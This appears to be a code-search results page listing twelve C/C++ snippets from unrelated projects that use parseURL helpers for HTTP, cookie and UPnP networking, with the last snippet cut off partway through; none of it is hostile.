Esempio n. 1
0
void *
miniwget_getaddr(const char * url, int * size,
                 char * addr, int addrlen, unsigned int scope_id)
{
	unsigned short port;
	char * path;
	/* protocol://host:port/path */
	char hostname[MAXHOSTNAMELEN+1];
	*size = 0;
	if(addr)
		addr[0] = '\0';
	if(!parseURL(url, hostname, &port, &path, &scope_id))
		return NULL;
#ifdef DEBUG
	printf("parsed url : hostname='%s' port=%hu path='%s' scope_id=%u\n",
	       hostname, port, path, scope_id);
#endif
	return miniwget2(hostname, port, path, size, addr, addrlen, scope_id);
}
Esempio n. 2
0
/**
* Parses cookie_domstr and returns a linked list of KHttpCookie objects.
* cookie_domstr should be a semicolon-delimited list of "name=value"
* pairs. Any whitespace before "name" or around '=' is discarded.
* If no cookies are found, 0 is returned.
*/
KHttpCookieList KCookieJar::makeDOMCookies(const QString &_url,
                                          const QCString &cookie_domstring,
                                          long windowId)
{
    // A lot copied from above
    KHttpCookieList cookieList;
    KHttpCookiePtr lastCookie = 0;

    const char *cookieStr = cookie_domstring.data();
    QString Name;
    QString Value;
    QString fqdn;
    QString path;

    if (!parseURL(_url, fqdn, path))
    {
        // Error parsing _url
        return KHttpCookieList();
    }

    //  This time it's easy
    while(*cookieStr)
    {
        cookieStr = parseNameValue(cookieStr, Name, Value);

        // Host = FQDN
        // Default domain = ""
        // Default path = ""
        KHttpCookie *cookie = new KHttpCookie(fqdn, QString::null, QString::null,
                                Name, Value );
        if (windowId)
            cookie->mWindowIds.append(windowId);

        cookieList.append(cookie);
        lastCookie = cookie;

        if (*cookieStr != '\0')
            cookieStr++;         // Skip ';' or '\n'
     }

     return cookieList;
}
Esempio n. 3
0
    void MiniWebServer::accepted(int s, const SockAddr &from) {
        char buf[4096];
        int len = 0;
        while ( 1 ) {
            int x = ::recv(s, buf + len, sizeof(buf) - 1 - len, 0);
            if ( x <= 0 ) {
                return;
            }
            len += x;
            buf[ len ] = 0;
            if ( fullReceive( buf ) )
                break;
        }
        buf[len] = 0;

        string responseMsg;
        int responseCode = 599;
        vector<string> headers;
        doRequest(buf, parseURL( buf ), responseMsg, responseCode, headers, from);

        stringstream ss;
        ss << "HTTP/1.0 " << responseCode;
        if ( responseCode == 200 ) ss << " OK";
        ss << "\r\n";
        if ( headers.empty() ) {
            ss << "Content-Type: text/html\r\n";
        }
        else {
            for ( vector<string>::iterator i = headers.begin(); i != headers.end(); i++ )
                ss << *i << "\r\n";
        }
        ss << "\r\n";
        ss << responseMsg;
        string response = ss.str();

        ::send(s, response.c_str(), response.size(), 0);
    }
Esempio n. 4
0
void V8Custom::WindowSetLocation(DOMWindow* window, const String& v)
{
    if (!window->frame())
        return;

    Frame* activeFrame = V8Proxy::retrieveFrameForEnteredContext();
    if (!activeFrame)
        return;

    if (!activeFrame->loader()->shouldAllowNavigation(window->frame()))
        return;

    if (!parseURL(v).startsWith("javascript:", false)
        || ScriptController::isSafeScript(window->frame())) {
        String completedUrl = activeFrame->loader()->completeURL(v).string();
  
        // FIXME: The JSC bindings pass !anyPageIsProcessingUserGesture() for
        // the lockHistory parameter.  We should probably do something similar.
  
        window->frame()->loader()->scheduleLocationChange(completedUrl,
            activeFrame->loader()->outgoingReferrer(), false, false,
            activeFrame->script()->processingUserGesture());
    }
}
Esempio n. 5
0
static int upnpc_get_desc(upnpc_device_t * d, const char * url)
{
	char hostname[MAXHOSTNAMELEN+1];
	char hostname_port[MAXHOSTNAMELEN+1+6];
	unsigned short port;
	char * path;
	unsigned int scope_id;
	struct evhttp_request * req;
	struct evkeyvalq * headers;

	/* if(d->root_desc_location == NULL) {
		return -1;
	} */
	if(!parseURL(url/*d->root_desc_location*/, hostname, &port,
	             &path, &scope_id)) {
		return -1;
	}
	if(port != 80)
		snprintf(hostname_port, sizeof(hostname_port), "%s:%hu", hostname, port);
	else
		strncpy(hostname_port, hostname, sizeof(hostname_port));
	if(d->desc_conn == NULL) {
		d->desc_conn = evhttp_connection_base_new(d->parent->base, NULL, hostname, port);
	}
#ifdef DEBUG
	evhttp_connection_set_closecb(d->desc_conn, upnpc_conn_close_cb, d);
#endif /* DEBUG */
	/*evhttp_connection_set_timeout(p->desc_conn, 600);*/
	req = evhttp_request_new(upnpc_desc_received/*callback*/, d);
	headers = evhttp_request_get_output_headers(req);
	evhttp_add_header(headers, "Host", hostname_port);
	evhttp_add_header(headers, "Connection", "close");
	/*evhttp_add_header(headers, "User-Agent", "***");*/
	evhttp_make_request(d->desc_conn, req, EVHTTP_REQ_GET, path);
	return 0;
}
Esempio n. 6
0
ServerInfo::ServerInfo(const std::string& theURL)
    : host(), port(0), use_ssl(false), uri(), healthy(true), excludeTime(0), url()
{
    parseURL(theURL.c_str(), theURL.size());
}
Esempio n. 7
0
String HTMLImageLoader::sourceURI(const AtomicString& attr) const
{
    return parseURL(attr);
}
Esempio n. 8
0
//发送HTTP信息
//URL:顾名思义拉URL字符串
//headerReceive:发给服务器的包头
//post:发送的数据的指针
//postLength:发送字符串的长度
//req:回应的数据
//返回值:0、失败 1、成功(好怪异的返回值设置)
int _XHTTPRequest::sendHTTP(char *url,char * headerReceive,unsigned char *post,int postLength,_XHTTPRequestStruct *req)
{
	//SOCKADDR_IN sin;			//用于连接web服务器
	sockaddr_in sin;			//用于连接web服务器
	int sock;					//连接服务器的套接字
	char buffer[512];		
	char protocol[20];			//用于暂存协议
	char host[256];				//用于暂存主机名
	char request[1024];			//用于暂存请求
	int l,port,chars;//,err;
	_XMemBuffer headersBuffer;	//包头缓存
	_XMemBuffer messageBuffer;	//包体缓存
	char headerSend[1024];		//发送包头
	int done;
	
	//解析URL
	parseURL(url,protocol,host,request,&port);
	if(strcmp(protocol,"HTTP"))
	{//目前这个模块只支持HTTP协议
		return 0;
	}

#ifdef XEE_OS_WINDOWS
	if(initSocket() == 0) return 0;
#endif

	//申请套结字
	sock = socket(AF_INET,SOCK_STREAM,0);
	//if(sock == INVALID_SOCKET) return 0;//申请套结字失败
	if(sock < 0) return 0;//申请套结字失败

	//连接到web服务器
	sin.sin_family = AF_INET;
	sin.sin_port = htons((unsigned short)port);
	sin.sin_addr.s_addr = getHostAddress(host);
	if(connect(sock,(sockaddr*)&sin, sizeof(sockaddr_in)))
	{//如果连接失败则返回
		return 0;
	}

	if(!*request)
	{//如果没有请求,则请求为反斜杠
		strcpy(request,"/");
	}

	//发送HTTP包头信息
	if(post == NULL)
	{//如果不是发送,则作为接收处理
		sendString(sock,"GET ");
		strcpy(headerSend, "GET ");
	}else
	{
		sendString(sock,"POST ");
		strcpy(headerSend, "POST ");
	}
	sendString(sock,request);
	strcat(headerSend, request);

	sendString(sock," HTTP/1.0\r\n");
	strcat(headerSend, " HTTP/1.0\r\n");

	sendString(sock,"Accept: image/gif, image/x-xbitmap,"
		" image/jpeg, image/pjpeg, application/vnd.ms-excel,"
		" application/msword, application/vnd.ms-powerpoint,"
		" */*\r\n");
	strcat(headerSend, "Accept: image/gif, image/x-xbitmap,"
		" image/jpeg, image/pjpeg, application/vnd.ms-excel,"
		" application/msword, application/vnd.ms-powerpoint,"
		" */*\r\n");
	sendString(sock,"Accept-Language: en-us\r\n");
	strcat(headerSend, "Accept-Language: en-us\r\n");

	sendString(sock,"Accept-Encoding: gzip, default\r\n");
	strcat(headerSend, "Accept-Encoding: gzip, default\r\n");
	sendString(sock,"User-Agent: Neeao/4.0\r\n");
	strcat(headerSend, "User-Agent: Neeao/4.0\r\n");

	if(postLength)
	{
		sprintf(buffer,"Content-Length: %ld\r\n",postLength);
		sendString(sock,buffer);
		strcat(headerSend, buffer);
	}
	//sendString(sock,"Cookie: mycookie=blablabla\r\n");
	// printf("Cookie: mycookie=blablabla\r\n");
	sendString(sock,"Host: ");
	strcat(headerSend, "Host: ");

	sendString(sock,host);
	strcat(headerSend, host);

	sendString(sock,"\r\n");
	strcat(headerSend, "\r\n");

	if((headerReceive != NULL) && *headerReceive)
	{
		sendString(sock,headerReceive);
		strcat(headerSend, headerReceive);
	}

	sendString(sock,"\r\n"); // Send a blank line to signal end of HTTP headerReceive
	strcat(headerSend, "\r\n");

	if((post != NULL) && postLength)
	{//发送需要发送的内容
		send(sock,(const char*)post,postLength,0);
		post[postLength] = '\0';

		strcat(headerSend, (const char*)post);
	}

	//strcpy(req->headerSend, headerSend);
	req->headerSend = (char*) malloc( sizeof(char*) * strlen(headerSend));
	if(req->headerSend != NULL)
		strcpy(req->headerSend, (char*) headerSend );

	//下面开始解收包头
	memBufferCreate(&headersBuffer );
	chars = 0;
	done = 0;

	while(!done)
	{
		l = recv(sock,buffer,1,0);
		if(l < 0) done = 1;//接受完成

		switch(*buffer)
		{
		case '\r':
			break;
		case '\n':
			if(chars==0)
			{//接受完成
				done = 1;
			}
			chars=0;
			break;
		default:
			chars++;
			break;
		}

		memBufferAddByte(&headersBuffer,*buffer);
	}
	//将接受到的包头保存起来
	req->headerReceive = (char*) headersBuffer.buffer;
	*(headersBuffer.position) = 0;

	//下面接受包体
	memBufferCreate(&messageBuffer); // Now read the HTTP body
	do
	{
		l = recv(sock,buffer,sizeof(buffer)-1,0);
		if(l<0)
		{//包体接受完成
			break;
		}
		*(buffer + l)=0;
		memBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);
	}while(l > 0);

	*messageBuffer.position = 0;
	req->message = (char*) messageBuffer.buffer;
	req->messageLength = (messageBuffer.position - messageBuffer.buffer);

	//交互完毕之后关闭socket
#ifdef XEE_OS_WINDOWS
	closesocket(sock);
#endif
#ifdef XEE_OS_LINUX
	close(sock);
#endif

	return 1;
}
Esempio n. 9
0
void ServerInfo::setFromString(const std::string& theURL)
{
    parseURL(theURL.c_str(), theURL.size());
}
Esempio n. 10
0
static int httpTransact(char* szUrl, char* szResult, int resSize, char* szActionName, ReqType reqtype)
{
	// Parse URL
	char szHost[256], szPath[256], szRes[16];
	int sz = 0, res = 0;
	unsigned short sPort;
	bool needClose = false;

	const char* szPostHdr = soap_post_hdr;
	char* szData = (char*)mir_alloc(4096);
	char* szReq = NULL;

	parseURL(szUrl, szHost, &sPort, szPath);

	if (sPort != sConnPort || _stricmp(szHost, szConnHost))
		closeRouterConnection();
	else
		validateSocket();

	while (true) {
		retryCount = 0;
		switch (reqtype) {
		case DeviceGetReq:
			sz = mir_snprintf(szData, 4096, xml_get_hdr, szPath, szHost, sPort);
			break;

		case ControlAction:
		{
			char szData1[1024];

			szReq = mir_strdup(szResult);
			sz = mir_snprintf(szData1, _countof(szData1),
				soap_action, szActionName, szDev, szReq, szActionName);

			sz = mir_snprintf(szData, 4096,
				szPostHdr, szPath, szHost, sPort,
				sz, szDev, szActionName, szData1);
		}
		break;

		case ControlQuery:
		{
			char szData1[1024];

			sz = mir_snprintf(szData1, _countof(szData1),
				soap_query, szActionName);

			sz = mir_snprintf(szData, 4096,
				szPostHdr, szPath, szHost, sPort,
				sz, "urn:schemas-upnp-org:control-1-0", "QueryStateVariable", szData1);
		}
		break;
		}
		szResult[0] = 0;
		{
			static const TIMEVAL tv = { 6, 0 };
			static unsigned ttl = 4;
			static u_long mode = 1;
			fd_set rfd, wfd, efd;
			SOCKADDR_IN enetaddr;

retrycon:
			if (sock == INVALID_SOCKET) {
				sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

				enetaddr.sin_family = AF_INET;
				enetaddr.sin_port = htons(sPort);
				enetaddr.sin_addr.s_addr = inet_addr(szHost);

				// Resolve host name if needed
				if (enetaddr.sin_addr.s_addr == INADDR_NONE) {
					PHOSTENT he = gethostbyname(szHost);
					if (he)
						enetaddr.sin_addr.s_addr = *(unsigned*)he->h_addr_list[0];
				}

				NetlibLogf(NULL, "UPnP HTTP connection Host: %s Port: %u", szHost, sPort);

				FD_ZERO(&rfd); FD_ZERO(&wfd); FD_ZERO(&efd);
				FD_SET(sock, &rfd); FD_SET(sock, &wfd); FD_SET(sock, &efd);

				// Limit the scope of the connection (does not work for
				setsockopt(sock, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(unsigned));

				// Put socket into non-blocking mode for timeout on connect
				ioctlsocket(sock, FIONBIO, &mode);

				// Connect to the remote host
				if (connect(sock, (SOCKADDR*)&enetaddr, sizeof(enetaddr)) == SOCKET_ERROR) {
					int err = WSAGetLastError();

					// Socket connection failed
					if (err != WSAEWOULDBLOCK) {
						closeRouterConnection();
						NetlibLogf(NULL, "UPnP connect failed %d", err);
						break;
					}
					// Wait for socket to connect
					else if (select(1, &rfd, &wfd, &efd, &tv) != 1) {
						closeRouterConnection();
						NetlibLogf(NULL, "UPnP connect timeout");
						break;
					}
					else if (!FD_ISSET(sock, &wfd)) {
						closeRouterConnection();
						NetlibLogf(NULL, "UPnP connect failed");
						break;
					}
				}
				strncpy_s(szConnHost, szHost, _TRUNCATE);
				sConnPort = sPort;
			}

			if (send(sock, szData, sz, 0) != SOCKET_ERROR) {
				char *hdrend = NULL;
				int acksz = 0, pktsz = 0;

				if (szActionName == NULL) {
					int len = sizeof(locIP);
					getsockname(sock, (SOCKADDR*)&locIP, &len);
					if (locIP.sin_addr.S_un.S_addr == 0x0100007f) {
						struct hostent *he;

						gethostname(szPath, sizeof(szPath));
						he = gethostbyname(szPath);
						if (he != NULL)
							locIP.sin_addr.S_un.S_addr = *(PDWORD)he->h_addr_list[0];
					}
				}

				LongLog(szData);
				sz = 0;
				while (true) {
					int bytesRecv;

					FD_ZERO(&rfd);
					FD_SET(sock, &rfd);

					// Wait for the next packet
					if (select(1, &rfd, NULL, NULL, &tv) != 1) {
						closeRouterConnection();
						NetlibLogf(NULL, "UPnP recieve timeout");
						break;
					}

					//
					bytesRecv = recv(sock, &szResult[sz], resSize - sz, 0);

					// Connection closed or aborted, all data received
					if (bytesRecv == 0 || bytesRecv == SOCKET_ERROR) {
						closeRouterConnection();
						if ((bytesRecv == SOCKET_ERROR || sz == 0) && retryCount < 2) {
							++retryCount;
							goto retrycon;
						}
						break;
					}

					sz += bytesRecv;

					// Insert null terminator to use string functions
					if (sz >= (resSize - 1)) {
						szResult[resSize - 1] = 0;
						break;
					}
					else
						szResult[sz] = 0;

					// HTTP header found?
					if (hdrend == NULL) {
						// Find HTTP header end
						hdrend = strstr(szResult, "\r\n\r\n");
						if (hdrend == NULL) {
							hdrend = strstr(szResult, "\n\n");
							if (hdrend) hdrend += 2;
						}

						else
							hdrend += 4;

						if (hdrend != NULL) {
							// Get packet size if provided
							if (txtParseParam(szResult, NULL, "Content-Length:", "\n", szRes, sizeof(szRes)) ||
								txtParseParam(szResult, NULL, "CONTENT-LENGTH:", "\n", szRes, sizeof(szRes))) {
								// Add size of HTTP header to the packet size to compute full transmission size
								pktsz = atol(ltrimp(szRes)) + (hdrend - szResult);
							}
							// Get encoding type if provided
							else if (txtParseParam(szResult, NULL, "Transfer-Encoding:", "\n", szRes, sizeof(szRes))) {
								if (_stricmp(lrtrimp(szRes), "Chunked") == 0)
									acksz = hdrend - szResult;
							}
							if (txtParseParam(szResult, NULL, "Connection:", "\n", szRes, sizeof(szRes))) {
								needClose = (_stricmp(lrtrimp(szRes), "close") == 0);
							}
						}
					}

					// Content-Length bytes reached, all data received
					if (sz >= pktsz && pktsz != 0) {
						szResult[pktsz] = 0;
						break;
					}

					// Chunked encoding processing
					if (sz > acksz && acksz != 0) {
retry:
						// Parse out chunk size
						char* data = szResult + acksz;
						char* peol1 = data == hdrend ? data - 1 : strchr(data, '\n');
						if (peol1 != NULL) {
							char *peol2 = strchr(++peol1, '\n');
							if (peol2 != NULL) {
								// Get chunk size
								int chunkBytes = strtol(peol1, NULL, 16);
								acksz += chunkBytes;
								peol2++;

								memmove(data, peol2, mir_strlen(peol2) + 1);
								sz -= peol2 - data;

								// Last chunk, all data received
								if (chunkBytes == 0) break;
								if (sz > acksz) goto retry;
							}
						}
					}
				}
				LongLog(szResult);
			}
			else {
				if (retryCount < 2) {
					closeRouterConnection();
					++retryCount;
					goto retrycon;
				}
				else
					NetlibLogf(NULL, "UPnP send failed %d", WSAGetLastError());
			}
		}
		txtParseParam(szResult, "HTTP", " ", " ", szRes, sizeof(szRes));
		res = atol(szRes);
		if (szActionName != NULL && res == 405 && szPostHdr == soap_post_hdr)
			szPostHdr = soap_post_hdr_m;
		else
			break;
	}

	if (needClose)
		closeRouterConnection();

	mir_free(szData);
	mir_free(szReq);
	return res;
}
HTTPResult HTTPClient::connect(const char* url, HTTP_METH method, IHTTPDataOut* pDataOut, IHTTPDataIn* pDataIn, int timeout) //Execute request
{ 
    
  DBG("Connecting to server...");
  m_httpResponseCode = 0; //Invalidate code
  m_timeout = timeout;
  
  pDataIn->writeReset();
  if( pDataOut )
  {
    pDataOut->readReset();
  }

  char scheme[8];
  uint16_t port;
  char host[32];
  char path[64];
  //First we need to parse the url (http[s]://host[:port][/[path]]) -- HTTPS not supported (yet?)
  HTTPResult res = parseURL(url, scheme, sizeof(scheme), host, sizeof(host), &port, path, sizeof(path));
  if(res != HTTP_OK)
  {
    ERR("parseURL returned %d", res);
    return res;
  }

  if(port == 0) //TODO do handle HTTPS->443
  {
    port = 80;
  }

  DBG("Scheme: %s", scheme);
  DBG("Host: %s", host);
  DBG("Port: %d", port);
  DBG("Path: %s", path);

  //Connect
  DBG("Connecting socket to server");
  int ret = m_sock.connect(host, port);
  if (ret < 0)
  {
    m_sock.close();
    ERR("Could not connect");
    return HTTP_CONN;
  }

  //Send request
  DBG("Sending request");
  char buf[CHUNK_SIZE];
  const char* meth = (method==HTTP_GET)?"GET":(method==HTTP_POST)?"POST":(method==HTTP_PUT)?"PUT":(method==HTTP_DELETE)?"DELETE":"";
  snprintf(buf, sizeof(buf), "%s %s HTTP/1.1\r\nHost: %s\r\n", meth, path, host); //Write request
  ret = send(buf);
  if(ret)
  {
    m_sock.close();
    ERR("Could not write request");
    return HTTP_CONN;
  }

  //Send all headers

  //Send default headers
  DBG("Sending headers");
  if( pDataOut != NULL )
  {
    if( pDataOut->getIsChunked() )
    {
      ret = send("Transfer-Encoding: chunked\r\n");
      CHECK_CONN_ERR(ret);
    }
    else
    {
      snprintf(buf, sizeof(buf), "Content-Length: %d\r\n", pDataOut->getDataLen());
      ret = send(buf);
      CHECK_CONN_ERR(ret);
    }
    char type[48];
    if( pDataOut->getDataType(type, 48) == HTTP_OK )
    {
      snprintf(buf, sizeof(buf), "Content-Type: %s\r\n", type);
      ret = send(buf);
      CHECK_CONN_ERR(ret);
    }
    
    //Send specific headers
    while( pDataOut->getHeader(buf, sizeof(buf) - 3) ) //must have space left for CRLF + 0 terminating char
    {
      size_t headerlen = strlen(buf);
      snprintf(buf + headerlen, sizeof(buf) - headerlen, "\r\n");
      ret = send(buf);
      CHECK_CONN_ERR(ret);
    }
  }
  
  //Send specific headers
  while( pDataIn->getHeader(buf, sizeof(buf) - 3) )
  {
    size_t headerlen = strlen(buf);
    snprintf(buf + headerlen, sizeof(buf) - headerlen, "\r\n");
    ret = send(buf);
    CHECK_CONN_ERR(ret);
  }
  
  //Close headers
  DBG("Headers sent");
  ret = send("\r\n");
  CHECK_CONN_ERR(ret);

  size_t trfLen;
  
  //Send data (if available)
  if( pDataOut != NULL )
  {
    DBG("Sending data");
    while(true)
    {
      size_t writtenLen = 0;
     pDataOut->read(buf, CHUNK_SIZE, &trfLen);
      if( pDataOut->getIsChunked() )
      {
        DBG("Chunked Encoding");
        //Write chunk header
        char chunkHeader[16];
        snprintf(chunkHeader, sizeof(chunkHeader), "%X\r\n", trfLen); //In hex encoding
        ret = send(chunkHeader);
        CHECK_CONN_ERR(ret);
      }
      else if( trfLen == 0 )
      {
        break;
      }
      if( trfLen != 0 )
      {
        ret = send(buf, trfLen);
        CHECK_CONN_ERR(ret);
      }

      if( pDataOut->getIsChunked()  )
      {
        DBG("Chunk terminating CRLF");
        ret = send("\r\n"); //Chunk-terminating CRLF
        CHECK_CONN_ERR(ret);
      }
      else
      {
        writtenLen += trfLen;
        if(writtenLen >= pDataOut->getDataLen() )
        {
          break;
        }
      }

      if( trfLen == 0 )
      {
        break;
      }
    }
  }
  
  //Receive response
  DBG("Receiving response");
  ret = recv(buf, 1, CHUNK_SIZE - 1, &trfLen); //Read n bytes
  CHECK_CONN_ERR(ret);

  buf[trfLen] = '\0';

  //Make sure we got the first response line
  char* crlfPtr = NULL;
  while( true )
  {
    crlfPtr = strstr(buf, "\r\n");
  if(crlfPtr == NULL)
  {
      if( trfLen < CHUNK_SIZE - 1 )
      {
        size_t newTrfLen;
        ret = recv(buf + trfLen, 1, CHUNK_SIZE - trfLen - 1, &newTrfLen);
        trfLen += newTrfLen;
        buf[trfLen] = '\0';
        DBG("Read %d chars; In buf: [%s]", newTrfLen, buf);
        CHECK_CONN_ERR(ret);
        continue;
      }
      else
      {
    PRTCL_ERR();
  }
    }
    break;
  }

  int crlfPos = crlfPtr - buf;
  buf[crlfPos] = '\0';

  //Parse HTTP response
  //if( sscanf(buf, "HTTP/%*d.%*d %d %*[^\r\n]", &m_httpResponseCode) != 1 )
  if(crlfPos > 13)
  {
    buf[13] = '\0';
  }
  if( sscanf(buf, "HTTP/%*d.%*d %d", &m_httpResponseCode) != 1 ) //Kludge for newlib nano
  {
    //Cannot match string, error
    ERR("Not a correct HTTP answer : %s\n", buf);
    PRTCL_ERR();
  }

  if( (m_httpResponseCode < 200) || (m_httpResponseCode >= 300) )
  {
    //Did not return a 2xx code; TODO fetch headers/(&data?) anyway and implement a mean of writing/reading headers 
    WARN("Response code %d", m_httpResponseCode);
    PRTCL_ERR();
  }

  DBG("Reading headers");

  memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2) + 1); //Be sure to move NULL-terminating char as well
  trfLen -= (crlfPos + 2);

  size_t recvContentLength = 0;
  bool recvChunked = false;
  bool recvLengthUnknown = true;
  //Now get headers
  while( true )
  {
    crlfPtr = strstr(buf, "\r\n");
    if(crlfPtr == NULL)
    {
      if( trfLen < CHUNK_SIZE - 1 )
      {
        size_t newTrfLen;
        ret = recv(buf + trfLen, 1, CHUNK_SIZE - trfLen - 1, &newTrfLen);
        trfLen += newTrfLen;
        buf[trfLen] = '\0';
        DBG("Read %d chars; In buf: [%s]", newTrfLen, buf);
        CHECK_CONN_ERR(ret);
        continue;
      }
      else
      {
        PRTCL_ERR();
      }
    }

    crlfPos = crlfPtr - buf;

    if(crlfPos == 0) //End of headers
    {
      DBG("Headers read");
      memmove(buf, &buf[2], trfLen - 2 + 1); //Be sure to move NULL-terminating char as well
      trfLen -= 2;
      break;
    }

    buf[crlfPos] = '\0';

    char key[32];
    char value[32];

    //key[31] = '\0';
    //value[31] = '\0';

    memset(key, 0, 32);
    memset(value, 0, 32);

    //int n = sscanf(buf, "%31[^:]: %31[^\r\n]", key, value);
    
    int n = 0;
    
    char* keyEnd = strchr(buf, ':');
    if(keyEnd != NULL)
    {
      *keyEnd = '\0';
      if(strlen(buf) < 32)
      {
        strcpy(key, buf);
        n++;
        char* valueStart = keyEnd + 2;
        if( (valueStart - buf) < crlfPos )
        {
          if(strlen(valueStart) < 32)
          { 
            strcpy(value, valueStart);
            n++;
          }
        }
      }
    }
    if ( n == 2 )
    {
      DBG("Read header : %s: %s\n", key, value);
      if( !strcmp(key, "Content-Length") )
      {
        sscanf(value, "%d", &recvContentLength);
        recvLengthUnknown = false;
        pDataIn->setDataLen(recvContentLength);
      }
      else if( !strcmp(key, "Transfer-Encoding") )
      {
        if( !strcmp(value, "Chunked") || !strcmp(value, "chunked") )
        {
          recvChunked = true;
          recvLengthUnknown = false;
          pDataIn->setIsChunked(true);
        }
      }
      else if( !strcmp(key, "Content-Type") )
      {
        pDataIn->setDataType(value);
      }

      memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2) + 1); //Be sure to move NULL-terminating char as well
      trfLen -= (crlfPos + 2);

    }
    else
    {
      ERR("Could not parse header");
      PRTCL_ERR();
    }

  }

  //Receive data
  DBG("Receiving data");
  while(true)
  {
    size_t readLen = 0;

    if( recvChunked )
    {
      //Read chunk header
      bool foundCrlf;
      do
      {
        foundCrlf = false;
        crlfPos=0;
        buf[trfLen]=0;
        if(trfLen >= 2)
        {
          for(; crlfPos < trfLen - 2; crlfPos++)
          {
            if( buf[crlfPos] == '\r' && buf[crlfPos + 1] == '\n' )
            {
              foundCrlf = true;
              break;
            }
          }
        }
        if(!foundCrlf) //Try to read more
        {
          if( trfLen < CHUNK_SIZE )
          {
            size_t newTrfLen;
            ret = recv(buf + trfLen, 0, CHUNK_SIZE - trfLen - 1, &newTrfLen);
            trfLen += newTrfLen;
            CHECK_CONN_ERR(ret);
            continue;
          }
          else
          {
            PRTCL_ERR();
          }
        }
      } while(!foundCrlf);
      buf[crlfPos] = '\0';
      int n = sscanf(buf, "%x", &readLen);
      if(n!=1)
      {
        ERR("Could not read chunk length");
        PRTCL_ERR();
      }

      memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2)); //Not need to move NULL-terminating char any more
      trfLen -= (crlfPos + 2);

      if( readLen == 0 )
      {
        //Last chunk
        break;
      }
    }
    else
    {
      readLen = recvContentLength;
    }

    DBG("Retrieving %d bytes (%d bytes in buffer)", readLen, trfLen);

    do
    {
      if(recvLengthUnknown )
      {
        readLen = trfLen;
      }
      pDataIn->write(buf, MIN(trfLen, readLen));
      if(!recvLengthUnknown)
      {
        if( trfLen > readLen )
        {
          memmove(buf, &buf[readLen], trfLen - readLen);
          trfLen -= readLen;
          readLen = 0;
        }
        else
        {
          readLen -= trfLen;
        }
      }
      else
      {
        trfLen = 0;
      }

      if(readLen || recvLengthUnknown)
      {
        ret = recv(buf, 1, CHUNK_SIZE - trfLen - 1, &trfLen);
        if(recvLengthUnknown && (ret == HTTP_CLOSED))
        {
          //Write and exit
          pDataIn->write(buf, trfLen);
          break;
        }
        CHECK_CONN_ERR(ret);
        if(recvLengthUnknown && (trfLen == 0))
        {
          break;
        }
      }
    } while(readLen || recvLengthUnknown);

    if( recvChunked )
    {
      if(trfLen < 2)
      {
        size_t newTrfLen;
        //Read missing chars to find end of chunk
        ret = recv(buf + trfLen, 2 - trfLen, CHUNK_SIZE - trfLen - 1, &newTrfLen);
        CHECK_CONN_ERR(ret);
        trfLen += newTrfLen;
      }
      if( (buf[0] != '\r') || (buf[1] != '\n') )
      {
        ERR("Format error");
        PRTCL_ERR();
      }
      memmove(buf, &buf[2], trfLen - 2);
      trfLen -= 2;
    }
    else
    {
      break;
    }

  }

  m_sock.close();
  DBG("Completed HTTP transaction");

  return HTTP_OK;
}
Esempio n. 12
0
/* simpleUPnPcommand :
 * not so simple !
 * return values :
 *   0 - OK
 *  -1 - error */
int simpleUPnPcommand(int s, const char * url, const char * service,
                      const char * action, struct UPNParg * args,
                      char * buffer, int * bufsize)
{
	struct sockaddr_in dest;
	char hostname[MAXHOSTNAMELEN+1];
	unsigned short port = 0;
	char * path;
	char soapact[128];
	char soapbody[2048];
	char * buf;
	int buffree;
    int n;
	int contentlen, headerlen;	/* for the response */
	snprintf(soapact, sizeof(soapact), "%s#%s", service, action);
	if(args==NULL)
	{
		/*soapbodylen = */snprintf(soapbody, sizeof(soapbody),
						"<?xml version=\"1.0\"?>\r\n"
	    	              "<" SOAPPREFIX ":Envelope "
						  "xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						  SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						  "<" SOAPPREFIX ":Body>"
						  "<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">"
						  "</" SERVICEPREFIX ":%s>"
						  "</" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>"
					 	  "\r\n", action, service, action);
	}
	else
	{
		char * p;
		const char * pe, * pv;
		int soapbodylen;
		soapbodylen = snprintf(soapbody, sizeof(soapbody),
						"<?xml version=\"1.0\"?>\r\n"
	    	            "<" SOAPPREFIX ":Envelope "
						"xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						"<" SOAPPREFIX ":Body>"
						"<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">",
						action, service);
		p = soapbody + soapbodylen;
		while(args->elt)
		{
			/* check that we are never overflowing the string... */
			if(soapbody + sizeof(soapbody) <= p + 100)
			{
				/* we keep a margin of at least 100 bytes */
				*bufsize = 0;
				return -1;
			}
			*(p++) = '<';
			pe = args->elt;
			while(*pe)
				*(p++) = *(pe++);
			*(p++) = '>';
			if((pv = args->val))
			{
				while(*pv)
					*(p++) = *(pv++);
			}
			*(p++) = '<';
			*(p++) = '/';
			pe = args->elt;
			while(*pe)
				*(p++) = *(pe++);
			*(p++) = '>';
			args++;
		}
		*(p++) = '<';
		*(p++) = '/';
		*(p++) = SERVICEPREFIX2;
		*(p++) = ':';
		pe = action;
		while(*pe)
			*(p++) = *(pe++);
		strncpy(p, "></" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>\r\n",
		        soapbody + sizeof(soapbody) - p);
	}
	if(!parseURL(url, hostname, &port, &path)) return -1;
	if(s<0)
	{
		s = socket(PF_INET, SOCK_STREAM, 0);
		if(s<0)
		{
			PRINT_SOCKET_ERROR("socket");
			*bufsize = 0;
			return -1;
		}
		dest.sin_family = AF_INET;
		dest.sin_port = htons(port);
		dest.sin_addr.s_addr = inet_addr(hostname);
		if(connect(s, (struct sockaddr *)&dest, sizeof(struct sockaddr))<0)
		{
			PRINT_SOCKET_ERROR("connect");
			closesocket(s);
			*bufsize = 0;
			return -1;
		}
	}

	n = soapPostSubmit(s, path, hostname, port, soapact, soapbody);
	if(n<=0) {
#ifdef DEBUG
		printf("Error sending SOAP request\n");
#endif
		closesocket(s);
		return -1;
	}

